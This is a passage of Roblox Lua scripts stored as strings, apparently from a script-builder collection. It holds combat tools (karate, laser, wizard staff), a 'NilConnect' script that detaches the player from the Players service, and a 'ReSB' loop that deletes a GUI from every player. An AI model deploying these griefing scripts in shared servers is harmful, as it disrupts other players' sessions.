3464 | LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3))) | |
3465 | ||
3466 | RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10))) | |
3467 | ||
3468 | LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10))) | |
3469 | ||
3470 | CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0) | |
3471 | ||
3472 | bg.cframe = CF2 | |
3473 | ||
3474 | wait() | |
3475 | ||
3476 | end | |
3477 | ||
3478 | endEff() | |
3479 | ||
3480 | wait() | |
3481 | ||
3482 | nilparts() | |
3483 | ||
3484 | bg:remove() | |
3485 | ||
3486 | bp:remove() | |
3487 | ||
3488 | neck.C0 = necko | |
3489 | ||
3490 | end | |
3491 | ||
3492 | end, | |
3493 | ||
3494 | function(mouse) | |
3495 | ||
3496 | local Orig = torso.CFrame | |
3497 | ||
3498 | local MousePos = mouse.Hit.p | |
3499 | ||
3500 | local bg = Add.BG(torso) | |
3501 | ||
3502 | local bp = Add.BP(torso) | |
3503 | ||
3504 | bp.position = Orig.p | |
3505 | ||
3506 | local CF = ComputePos(Orig.p, MousePos) | |
3507 | ||
3508 | local CF2 = CF | |
3509 | ||
3510 | bg.cframe = CF2 | |
3511 | ||
3512 | startEff(TBricks[2][1]) | |
3513 | ||
3514 | attach() | |
3515 | ||
3516 | bp.position = CF * CFrame.new(0, 0, -0.8).p | |
3517 | ||
3518 | dmg = dmgs.Kardmg | |
3519 | ||
3520 | for i = 0, -45, -45/3 do | |
3521 | ||
3522 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3523 | ||
3524 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
3525 | ||
3526 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
3527 | ||
3528 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3)) | |
3529 | ||
3530 | LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0) | |
3531 | ||
3532 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
3533 | ||
3534 | bg.cframe = CF2 | |
3535 | ||
3536 | wait() | |
3537 | ||
3538 | end | |
3539 | ||
3540 | TBricks[2].hurt = true | |
3541 | ||
3542 | bp.position = CF * CFrame.new(0, 0, -1.6).p | |
3543 | ||
3544 | slash:play() | |
3545 | ||
3546 | for i = -45, -110, -65/3 do | |
3547 | ||
3548 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3549 | ||
3550 | LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110))) | |
3551 | ||
3552 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
3553 | ||
3554 | bg.cframe = CF2 | |
3555 | ||
3556 | wait() | |
3557 | ||
3558 | end | |
3559 | ||
3560 | wait() | |
3561 | ||
3562 | TBricks[2].hurt = false | |
3563 | ||
3564 | for i = -110, 0, 110/4 do | |
3565 | ||
3566 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
3567 | ||
3568 | LAW.C0 = CFrame.Angles(0, 0, math.rad(i) ) | |
3569 | ||
3570 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3)) | |
3571 | ||
3572 | RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4))) | |
3573 | ||
3574 | LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4))) | |
3575 | ||
3576 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
3577 | ||
3578 | bg.cframe = CF2 | |
3579 | ||
3580 | wait() | |
3581 | ||
3582 | end | |
3583 | ||
3584 | endEff() | |
3585 | ||
3586 | wait() | |
3587 | ||
3588 | nilparts() | |
3589 | ||
3590 | bg:remove() | |
3591 | ||
3592 | bp:remove() | |
3593 | ||
3594 | neck.C0 = necko | |
3595 | ||
3596 | end | |
3597 | ||
3598 | } | |
3599 | ||
3600 | bloc = function(mouse) | |
3601 | ||
3602 | local hold = true | |
3603 | ||
3604 | local bg = Add.BG(nil) | |
3605 | ||
3606 | attach() | |
3607 | ||
3608 | RLW.Part1 = nil | |
3609 | ||
3610 | LLW.Part1 = nil | |
3611 | ||
3612 | slash:play() | |
3613 | ||
3614 | local duh = true | |
3615 | ||
3616 | block = true | |
3617 | ||
3618 | mouse.KeyUp:connect(function(k) | |
3619 | ||
3620 | k = k:lower() | |
3621 | ||
3622 | if duh == true and k == "t" then | |
3623 | ||
3624 | block = false | |
3625 | ||
3626 | duh = false | |
3627 | ||
3628 | hold = false | |
3629 | ||
3630 | end | |
3631 | ||
3632 | end) | |
3633 | ||
3634 | coroutine.resume(coroutine.create(function() | |
3635 | ||
3636 | for i = 0, 90, 90/7 do | |
3637 | ||
3638 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
3639 | ||
3640 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
3641 | ||
3642 | wait() | |
3643 | ||
3644 | end | |
3645 | ||
3646 | end)) | |
3647 | ||
3648 | bg.Parent = torso | |
3649 | ||
3650 | while block and hold do | |
3651 | ||
3652 | wait() | |
3653 | ||
3654 | bg.cframe = ComputePos(torso.Position, mouse.Hit.p) | |
3655 | ||
3656 | end | |
3657 | ||
3658 | for i = 90, 0, -90/7 do | |
3659 | ||
3660 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
3661 | ||
3662 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
3663 | ||
3664 | wait() | |
3665 | ||
3666 | end | |
3667 | ||
3668 | nilparts() | |
3669 | ||
3670 | bg:remove() | |
3671 | ||
3672 | neck.C0 = necko | |
3673 | ||
3674 | end | |
3675 | ||
3676 | function select(mouse) | |
3677 | ||
3678 | mouse.Button1Down:connect(function() | |
3679 | ||
3680 | if able then | |
3681 | ||
3682 | able = false | |
3683 | ||
3684 | attacks[1](mouse) | |
3685 | ||
3686 | attacks[2](mouse) | |
3687 | ||
3688 | attacks[3](mouse) | |
3689 | ||
3690 | attacks[4](mouse) | |
3691 | ||
3692 | attacks[5](mouse) | |
3693 | ||
3694 | able = true | |
3695 | ||
3696 | end | |
3697 | ||
3698 | end) | |
3699 | ||
3700 | mouse.KeyDown:connect(function(key) | |
3701 | ||
3702 | key = key:lower() | |
3703 | ||
3704 | if able then | |
3705 | ||
3706 | if key == "q" then | |
3707 | ||
3708 | able = false | |
3709 | ||
3710 | attacks[2](mouse) | |
3711 | ||
3712 | able = true | |
3713 | ||
3714 | elseif key == "e" then | |
3715 | ||
3716 | able = false | |
3717 | ||
3718 | attacks[1](mouse) | |
3719 | ||
3720 | able = true | |
3721 | ||
3722 | elseif key == "r" then | |
3723 | ||
3724 | able = false | |
3725 | ||
3726 | attacks[3](mouse) | |
3727 | ||
3728 | able = true | |
3729 | ||
3730 | elseif key == "f" then | |
3731 | ||
3732 | able = false | |
3733 | ||
3734 | attacks[4](mouse) | |
3735 | ||
3736 | able = true | |
3737 | ||
3738 | elseif key == "g" then | |
3739 | ||
3740 | able = false | |
3741 | ||
3742 | attacks[5](mouse) | |
3743 | ||
3744 | able = true | |
3745 | ||
3746 | elseif key == "t" then | |
3747 | ||
3748 | able = false | |
3749 | ||
3750 | bloc(mouse) | |
3751 | ||
3752 | able = true | |
3753 | ||
3754 | elseif key == "z" then | |
3755 | ||
3756 | able = false | |
3757 | ||
3758 | holdkey = true | |
3759 | ||
3760 | while holdkey do | |
3761 | ||
3762 | attacks[math.random(1,#attacks)](mouse) | |
3763 | ||
3764 | end | |
3765 | ||
3766 | able = true | |
3767 | ||
3768 | end | |
3769 | ||
3770 | end | |
3771 | ||
3772 | end) | |
3773 | ||
3774 | mouse.KeyUp:connect(function(key) | |
3775 | ||
3776 | key = key:lower() | |
3777 | ||
3778 | if key == "z" then | |
3779 | ||
3780 | holdkey = false | |
3781 | ||
3782 | end | |
3783 | ||
3784 | end) | |
3785 | ||
3786 | end | |
3787 | ||
3788 | if script.Parent.className ~= "HopperBin" then | |
3789 | ||
3790 | h = Instance.new("HopperBin",me.Backpack) | |
3791 | ||
3792 | h.Name = "Karate" | |
3793 | ||
3794 | script.Parent = h | |
3795 | ||
3796 | end | |
3797 | ||
3798 | bin = script.Parent | |
3799 | ||
3800 | bin.Selected:connect(select) | |
3801 | ]] | |
3802 | NilConnect = [[ | |
3803 | wait(0.001) | |
3804 | script:ClearAllChildren() | |
3805 | script.Parent=nil | |
3806 | wait(1) | |
3807 | LocalPlayer = game:service'Players'.LocalPlayer | |
3808 | ProbeMode = false | |
3809 | char = nil | |
3810 | probe = nil | |
3811 | game:service'Debris':AddItem(x,3) | |
3812 | if LocalPlayer.Character then | |
3813 | LocalPlayer.Character.Archivable = true | |
3814 | char = LocalPlayer.Character:Clone() | |
3815 | char.Torso.Anchored = true | |
3816 | else | |
3817 | local con = LocalPlayer.CharacterAdded:connect(function() | |
3818 | wait(0.5) | |
3819 | LocalPlayer.Character.Archivable = true | |
3820 | char = LocalPlayer.Character:Clone() | |
3821 | char.Torso.Anchored = true | |
3822 | end) | |
3823 | end | |
3824 | xcon = LocalPlayer.Changed:connect(function(asd) | |
3825 | if asd == 'Parent' then | |
3826 | local a = Instance.new("Hint",workspace) | |
3827 | a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]' | |
3828 | game:service'Debris':AddItem(a,3) | |
3829 | end | |
3830 | end) | |
3831 | asdcon = LocalPlayer.Chatted:connect(function(msg) | |
3832 | pcall(function() | |
3833 | if LocalPlayer.Parent ~= game:service'Players' then | |
3834 | if msg == 'char/' then | |
3835 | ProbeMode = false | |
3836 | elseif msg == 'probe/' then | |
3837 | ProbeMode = true | |
3838 | elseif msg == 'fcam/' then | |
3839 | if LocalPlayer.Parent ~= game:service'Players' then | |
3840 | if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then | |
3841 | if ProbeMode == false then | |
3842 | game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid | |
3843 | end | |
3844 | end | |
3845 | end | |
3846 | elseif msg == 'rej/' then | |
3847 | coroutine.wrap(function() | |
3848 | if ProbeMode == true then | |
3849 | probe:remove() | |
3850 | else | |
3851 | LocalPlayer.Character:remove() | |
3852 | char = nil | |
3853 | end | |
3854 | zcon:disconnect() | |
3855 | asdcon:disconnect() | |
3856 | xcon:disconnect() | |
3857 | end)() | |
3858 | game:service'TeleportService':Teleport(game.PlaceId) | |
3859 | else | |
3860 | if ProbeMode == true then | |
3861 | game:service'Chat':Chat(probe,msg) | |
3862 | else | |
3863 | game:service'Chat':Chat(LocalPlayer.Character.Head,msg) | |
3864 | end | |
3865 | end | |
3866 | end | |
3867 | end) | |
3868 | end) | |
3869 | zcon = game:service'RunService'.RenderStepped:connect(function() | |
3870 | if LocalPlayer.Parent ~= game:service'Players' then | |
3871 | if ProbeMode == false then | |
3872 | if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then | |
3873 | local chr = char:Clone() | |
3874 | chr.Parent = workspace | |
3875 | LocalPlayer.Character = chr | |
3876 | wait(0.1) | |
3877 | game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid' | |
3878 | end | |
3879 | else | |
3880 | if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'Cobalt1164Mesh' == nil then | |
3881 | if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end | |
3882 | local a = Instance.new("Part",workspace) | |
3883 | a.Name = LocalPlayer.Name | |
3884 | a.FormFactor = 'Custom' | |
3885 | a.CanCollide = false | |
3886 | a.Locked = true | |
3887 | a.Anchored = true | |
3888 | a.TopSurface = 0 | |
3889 | a.BottomSurface = 0 | |
3890 | a.Size = Vector3.new(2,2,2) | |
3891 | a.BrickColor = BrickColor.new("Really black") | |
3892 | local b = Instance.new('SpecialMesh',a) | |
3893 | b.Name = 'Cobalt1164Mesh' | |
3894 | b.MeshType = 'Sphere' | |
3895 | probe = a | |
3896 | else | |
3897 | local asd = probe:findFirstChild'Cobalt1164Mesh' | |
3898 | asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2) | |
3899 | probe.CFrame = workspace.CurrentCamera.Focus | |
3900 | end | |
3901 | end | |
3902 | end | |
3903 | end) | |
3904 | LocalPlayer:GetMouse().KeyDown:connect(function(k) | |
3905 | key = k | |
3906 | end) | |
3907 | LocalPlayer:GetMouse().KeyUp:connect(function() | |
3908 | key = nil | |
3909 | end) | |
3910 | game:service'RunService'.RenderStepped:connect(function() | |
3911 | if LocalPlayer.Parent ~= game:service'Players' then | |
3912 | if ProbeMode == false then | |
3913 | if LocalPlayer.Character ~= nil then | |
3914 | if key == 'w' then | |
3915 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5) | |
3916 | elseif key == 's' then | |
3917 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5) | |
3918 | elseif key == 'd' then | |
3919 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0) | |
3920 | elseif key == 'a' then | |
3921 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0) | |
3922 | end | |
3923 | end | |
3924 | end | |
3925 | end | |
3926 | end) | |
3927 | ]] | |
3928 | ReSB = [[while true do | |
3929 | for inx, val in pairs(game.Players:GetPlayers()) do | |
3930 | if val:FindFirstChild("PlayerGui") then | |
3931 | if val.PlayerGui:FindFirstChild("SBGUI") then | |
3932 | val.PlayerGui.SBGUI:Remove() | |
3933 | end | |
3934 | end | |
3935 | end | |
3936 | wait() | |
3937 | end | |
3938 | ]] | |
3939 | Shoop = [[ | |
3940 | me = game.Players.LocalPlayer | |
3941 | if script.Parent.className ~= "HopperBin" then | |
3942 | h = Instance.new("HopperBin",me.Backpack) | |
3943 | h.Name = "LAZOR" | |
3944 | script.Parent = h | |
3945 | end | |
3946 | bin = script.Parent | |
3947 | function prop(part, parent, collide, tran, ref, x, y, z, color) | |
3948 | part.Parent = parent | |
3949 | part.formFactor = 0 | |
3950 | part.CanCollide = collide | |
3951 | part.Transparency = tran | |
3952 | part.Reflectance = ref | |
3953 | part.Size = Vector3.new(x,y,z) | |
3954 | part.BrickColor = BrickColor.new(color) | |
3955 | part.TopSurface = 0 | |
3956 | part.BottomSurface = 0 | |
3957 | part:BreakJoints() | |
3958 | end | |
3959 | function weld(w, p, p0, p1, a, b, c, x, y, z) | |
3960 | w.Parent = p | |
3961 | w.Part0 = p0 | |
3962 | w.Part1 = p1 | |
3963 | w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z) | |
3964 | end | |
3965 | function mesh(mesh, parent, x, y, z, type) | |
3966 | mesh.Parent = parent | |
3967 | mesh.Scale = Vector3.new(x, y, z) | |
3968 | mesh.MeshType = type | |
3969 | end | |
3970 | using = false | |
3971 | sound = Instance.new("Sound",me.Character.Head) | |
3972 | sound.Volume = 0.6 | |
3973 | sound.Pitch = 1 | |
3974 | sound.SoundId = "rbxasset://sounds/uuhhh.wav" | |
3975 | bin.Selected:connect(function(mouse) | |
3976 | mouse.Button1Down:connect(function() | |
3977 | if using then return end | |
3978 | using = true | |
3979 | local blagh = Instance.new("Model",me.Character) | |
3980 | blagh.Name = "LAZOR" | |
3981 | local paw = mouse.Hit.p | |
3982 | local pa1 = Instance.new("Part") | |
3983 | prop(pa1,blagh,false,0,0,1,1,1,"Really black") | |
3984 | local m1 = Instance.new("SpecialMesh") | |
3985 | mesh(m1, pa1, 1.07,1,0.3,"Brick") | |
3986 | local w1 = Instance.new("Weld") | |
3987 | weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9) | |
3988 | local pa2 = pa1:clone() | |
3989 | prop(pa2,blagh,false,0,0,1,1,1,"Really black") | |
3990 | local w2 = Instance.new("Weld") | |
3991 | weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9) | |
3992 | local pa3 = Instance.new("Part") | |
3993 | prop(pa3,blagh,false,0,0,1,1,1,"Really red") | |
3994 | local m3 = Instance.new("SpecialMesh") | |
3995 | mesh(m3,pa3,1.3,1.23,0.29,"Brick") | |
3996 | local w3 = Instance.new("Weld") | |
3997 | weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9) | |
3998 | local pa4 = pa3:clone() | |
3999 | prop(pa4,blagh,false,0,0,1,1,1,"Really red") | |
4000 | local w4 = Instance.new("Weld") | |
4001 | weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9) | |
4002 | local eye1a = Instance.new("Part") | |
4003 | prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white") | |
4004 | eye1a.Shape = "Ball" | |
4005 | local emesh1 = Instance.new("SpecialMesh") | |
4006 | mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere") | |
4007 | local ew = Instance.new("Weld") | |
4008 | weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1) | |
4009 | local eye1b = Instance.new("Part") | |
4010 | prop(eye1b,blagh,false,0,0,1,1,1,"Really black") | |
4011 | eye1b.Shape = "Ball" | |
4012 | local emesh1b = Instance.new("SpecialMesh") | |
4013 | mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere") | |
4014 | local ew2 = Instance.new("Weld") | |
4015 | weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2) | |
4016 | local eye2a = eye1a:clone() | |
4017 | prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white") | |
4018 | local ew3 = Instance.new("Weld") | |
4019 | weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1) | |
4020 | local eye2b = eye1b:clone() | |
4021 | prop(eye2b,blagh,false,0,0,1,1,1,"Really black") | |
4022 | local ew5 = Instance.new("Weld") | |
4023 | weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2) | |
4024 | local bill = Instance.new("BillboardGui",pa1) | |
4025 | bill.Adornee = bill.Parent | |
4026 | bill.Size = UDim2.new(0,150,0,80) | |
4027 | local txt = Instance.new("TextLabel",bill) | |
4028 | txt.Size = UDim2.new(0,0,0,0) | |
4029 | txt.Position = UDim2.new(0,100,0,-20) | |
4030 | txt.Text = "IMA FIRIN' MAH LAZORR!!" | |
4031 | txt.FontSize = "Size24" | |
4032 | txt.TextColor3 = Color3.new(0,0,0) | |
4033 | sound.Volume = 0.6 | |
4034 | for i=1, 5 do | |
4035 | sound.Pitch = math.random(400,900)/1000 | |
4036 | sound:play() | |
4037 | wait(0.1) | |
4038 | end | |
4039 | local bg = Instance.new("BodyGyro",me.Character.Torso) | |
4040 | bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
4041 | bg.cframe = CFrame.new(me.Character.Torso.Position, paw) | |
4042 | for i=1, 5 do | |
4043 | sound.Pitch = math.random(400,900)/1000 | |
4044 | sound:play() | |
4045 | wait(0.2) | |
4046 | end | |
4047 | txt.Text = "BLAARGHH!!!!!!" | |
4048 | sound.Volume = 0.85 | |
4049 | for i=1, 60 do | |
4050 | local dist = (me.Character.Head.Position - paw).magnitude | |
4051 | if dist >= 600 then | |
4052 | dist = 600 | |
4053 | end | |
4054 | bg.cframe = CFrame.new(me.Character.Torso.Position, paw) | |
4055 | sound.Pitch = math.random(550,750)/1000 | |
4056 | sound:play() | |
4057 | local bewm = Instance.new("Part") | |
4058 | prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan") | |
4059 | bewm.Anchored = true | |
4060 | local mes = Instance.new("SpecialMesh") | |
4061 | mesh(mes,bewm,1.2,1.2,1,"Brick") | |
4062 | bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1) | |
4063 | local luck = math.random(1,3) | |
4064 | if luck == 1 then | |
4065 | local cfr = Instance.new("Part",blagh) | |
4066 | cfr.Size = Vector3.new(1,1,1) | |
4067 | cfr.Transparency = 1 | |
4068 | cfr.Anchored = true | |
4069 | cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2) | |
4070 | local ex = Instance.new("Explosion") | |
4071 | ex.Parent = blagh | |
4072 | ex.Position = cfr.Position | |
4073 | ex.BlastRadius = 9 | |
4074 | ex.BlastPressure = 400000 | |
4075 | ex.Hit:connect(function(part) | |
4076 | if part:GetMass() < 240 then | |
4077 | part.Anchored = false | |
4078 | part:BreakJoints() | |
4079 | end | |
4080 | end) | |
4081 | end | |
4082 | wait() | |
4083 | bewm:remove() | |
4084 | end | |
4085 | blagh:remove() | |
4086 | bg:remove() | |
4087 | using = false | |
4088 | end) | |
4089 | end) | |
4090 | ]] | |
4091 | Wizard = [[ | |
4092 | LocalPlayer = game.Players.LocalPlayer | |
4093 | Activated = false | |
4094 | Equipped = false | |
4095 | Regening = false | |
4096 | FireBall = false | |
4097 | Spikes = false | |
4098 | shooting = false | |
4099 | Mode = "Shoot" | |
4100 | Energy = 100 | |
4101 | mouse = LocalPlayer:GetMouse() | |
4102 | t = Instance.new("Tool",LocalPlayer.Backpack) | |
4103 | t.Name = 'Wizard staff' | |
4104 | t.GripPos = Vector3.new(0,-2,0) | |
4105 | p = Instance.new("Part",t) | |
4106 | p.FormFactor = 'Custom' | |
4107 | p.Name = 'Handle' | |
4108 | p.CanCollide = false | |
4109 | m = Instance.new("SpecialMesh",p) | |
4110 | m.MeshId = 'http://www.roblox.com/asset/?id=18434043' | |
4111 | m.TextureId = 'http://www.roblox.com/asset/?id=26017177' | |
4112 | char = LocalPlayer.Character | |
4113 | mouse = LocalPlayer:GetMouse() | |
4114 | humanoid = char:findFirstChild("Humanoid") | |
4115 | torso = char:findFirstChild("Torso") | |
4116 | head = char.Head | |
4117 | ra = char:findFirstChild("Right Arm") | |
4118 | la = char:findFirstChild("Left Arm") | |
4119 | rl = char:findFirstChild("Right Leg") | |
4120 | ll = char:findFirstChild("Left Leg") | |
4121 | rs = torso:findFirstChild("Right Shoulder") | |
4122 | ls = torso:findFirstChild("Left Shoulder") | |
4123 | rh = torso:findFirstChild("Right Hip") | |
4124 | lh = torso:findFirstChild("Left Hip") | |
4125 | neck = torso:findFirstChild("Neck") | |
4126 | rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint") | |
4127 | anim = char:findFirstChild("Animate") | |
4128 | rootpart = char:findFirstChild("HumanoidRootPart") | |
4129 | camera = workspace.CurrentCamera | |
4130 | if anim then | |
4131 | anim:Destroy() | |
4132 | end | |
4133 | rm = Instance.new("Motor", torso) | |
4134 | rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
4135 | rm.C1 = CFrame.new(0, 0.5, 0) | |
4136 | rm.Part0 = torso | |
4137 | rm.Part1 = ra | |
4138 | lm = Instance.new("Motor", torso) | |
4139 | lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
4140 | lm.C1 = CFrame.new(0, 0.5, 0) | |
4141 | lm.Part0 = torso | |
4142 | lm.Part1 = la | |
4143 | rlegm = Instance.new("Motor", torso) | |
4144 | rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
4145 | rlegm.C1 = CFrame.new(0, 1, 0) | |
4146 | rlegm.Part0 = torso | |
4147 | rlegm.Part1 = rl | |
4148 | llegm = Instance.new("Motor", torso) | |
4149 | llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
4150 | llegm.C1 = CFrame.new(0, 1, 0) | |
4151 | llegm.Part0 = torso | |
4152 | llegm.Part1 = ll | |
4153 | rsc0 = rm.C0 | |
4154 | lsc0 = lm.C0 | |
4155 | llc0 = llegm.C0 | |
4156 | rlc0 = rlegm.C0 | |
4157 | neckc0 = neck.C0 | |
4158 | rootc0 = rj.C0 | |
4159 | PLAYERGUI = LocalPlayer.PlayerGui | |
4160 | GUI = Instance.new("ScreenGui",PLAYERGUI) | |
4161 | FRAME = Instance.new("Frame",GUI) | |
4162 | FRAME.Size = UDim2.new(0.5,0,0.05,0) | |
4163 | FRAME.BackgroundColor3 = BrickColor.new("Bright blue").Color | |
4164 | FRAME.BorderSizePixel = 0 | |
4165 | TEXTLABEL = Instance.new("TextLabel",FRAME) | |
4166 | TEXTLABEL.Size = UDim2.new(1,0,1,0) | |
4167 | TEXTLABEL.BackgroundTransparency = 1 | |
4168 | TEXTLABEL.Text = "Mana: "..tostring(Energy) | |
4169 | TEXTLABEL.BorderSizePixel = 0 | |
4170 | TEXTLABEL.Font = 'Legacy' | |
4171 | TEXTLABEL.FontSize = 'Size24' | |
4172 | FRAME2 = Instance.new("Frame",GUI) | |
4173 | FRAME2.Size = UDim2.new(0.5,0,0.05,0) | |
4174 | FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color | |
4175 | FRAME2.BorderSizePixel = 0 | |
4176 | FRAME2.Position = UDim2.new(0.5,0,0,0) | |
4177 | TEXTLABEL2 = Instance.new("TextLabel",FRAME2) | |
4178 | TEXTLABEL2.Size = UDim2.new(1,0,1,0) | |
4179 | TEXTLABEL2.BackgroundTransparency = 1 | |
4180 | TEXTLABEL2.Text = "Health: "..tostring(humanoid.Health) | |
4181 | TEXTLABEL2.BorderSizePixel = 0 | |
4182 | TEXTLABEL2.Font = 'Legacy' | |
4183 | TEXTLABEL2.FontSize = 'Size24' | |
4184 | FRAME3 = Instance.new("Frame",GUI) | |
4185 | FRAME3.Size = UDim2.new(0.5,0,0.05,0) | |
4186 | FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color | |
4187 | FRAME3.BorderSizePixel = 0 | |
4188 | FRAME3.Position = UDim2.new(0.5,0,0.05,0) | |
4189 | TEXTLABEL3 = Instance.new("TextLabel",FRAME3) | |
4190 | TEXTLABEL3.Size = UDim2.new(1,0,1,0) | |
4191 | TEXTLABEL3.BackgroundTransparency = 1 | |
4192 | TEXTLABEL3.Text = "Spell: Star shoot" | |
4193 | TEXTLABEL3.BorderSizePixel = 0 | |
4194 | TEXTLABEL3.Font = 'Legacy' | |
4195 | TEXTLABEL3.FontSize = 'Size24' | |
4196 | function __getVelocity(p1,p2,speed) | |
4197 | local dis=(p1-p2).magnitude | |
4198 | if speed=="dis" then | |
4199 | if dis*6>100 then | |
4200 | speed=dis*6 | |
4201 | else | |
4202 | speed=100 | |
4203 | end | |
4204 | end | |
4205 | local x=(p1.x-p2.x)/dis*speed | |
4206 | local y=(p1.y-p2.y)/dis*speed | |
4207 | local z=(p1.z-p2.z)/dis*speed | |
4208 | return Vector3.new(-x,-y+10,-z) | |
4209 | end | |
4210 | function __onActivated() | |
4211 | Activated = true | |
4212 | end | |
4213 | function __onDeactivated() | |
4214 | Activated = false | |
4215 | end | |
4216 | function __onEquipped(mouse) | |
4217 | Equipped = true | |
4218 | pcall(function() | |
4219 | local a = Instance.new("Explosion",LocalPlayer.Character) | |
4220 | a.Position = LocalPlayer.Character['Right Arm'].Position | |
4221 | a.BlastPressure = 0 | |
4222 | a.BlastRadius = 20 | |
4223 | end) | |
4224 | local b = Instance.new("Fire",p) | |
4225 | b.Size = 1 | |
4226 | b.Color = Color3.new(0, 255, 255) | |
4227 | b.SecondaryColor = Color3.new(255, 255, 0) | |
4228 | local w = Instance.new("Motor",char['Right Arm']) | |
4229 | w.Name = 'Wizard staff weld' | |
4230 | w.Part0 = char['Right Arm'] | |
4231 | w.Part1 = p | |
4232 | w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0) | |
4233 | end | |
4234 | function __onUnequipped(mouse) | |
4235 | Equipped = false | |
4236 | pcall(function() | |
4237 | p.Fire:Destroy() | |
4238 | end) | |
4239 | pcall(function() | |
4240 | char['Right Arm']['Wizard staff weld']:Destroy() | |
4241 | end) | |
4242 | end | |
4243 | function __Shoot() | |
4244 | if Regening == true then return end | |
4245 | if Energy < 5 then return end | |
4246 | shooting = true | |
4247 | Energy = Energy - 5 | |
4248 | humanoid.WalkSpeed = 0 | |
4249 | local speed = math.random(400,500) | |
4250 | local bullet = Instance.new("Part",workspace) | |
4251 | bullet.Name = 'Bullet' | |
4252 | bullet.TopSurface = 0 | |
4253 | bullet.BottomSurface = 0 | |
4254 | bullet.FormFactor = 'Custom' | |
4255 | bullet.CFrame = p.CFrame | |
4256 | bullet.CanCollide = false | |
4257 | bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed) | |
4258 | local bulletmesh = Instance.new("SpecialMesh",bullet) | |
4259 | bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=24388358' | |
4260 | bulletmesh.TextureId = 'http://www.roblox.com/asset/?id=24388341' | |
4261 | bulletmesh.VertexColor = Vector3.new(0,0,0) | |
4262 | bullet.Touched:connect(function(toucher) | |
4263 | if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then | |
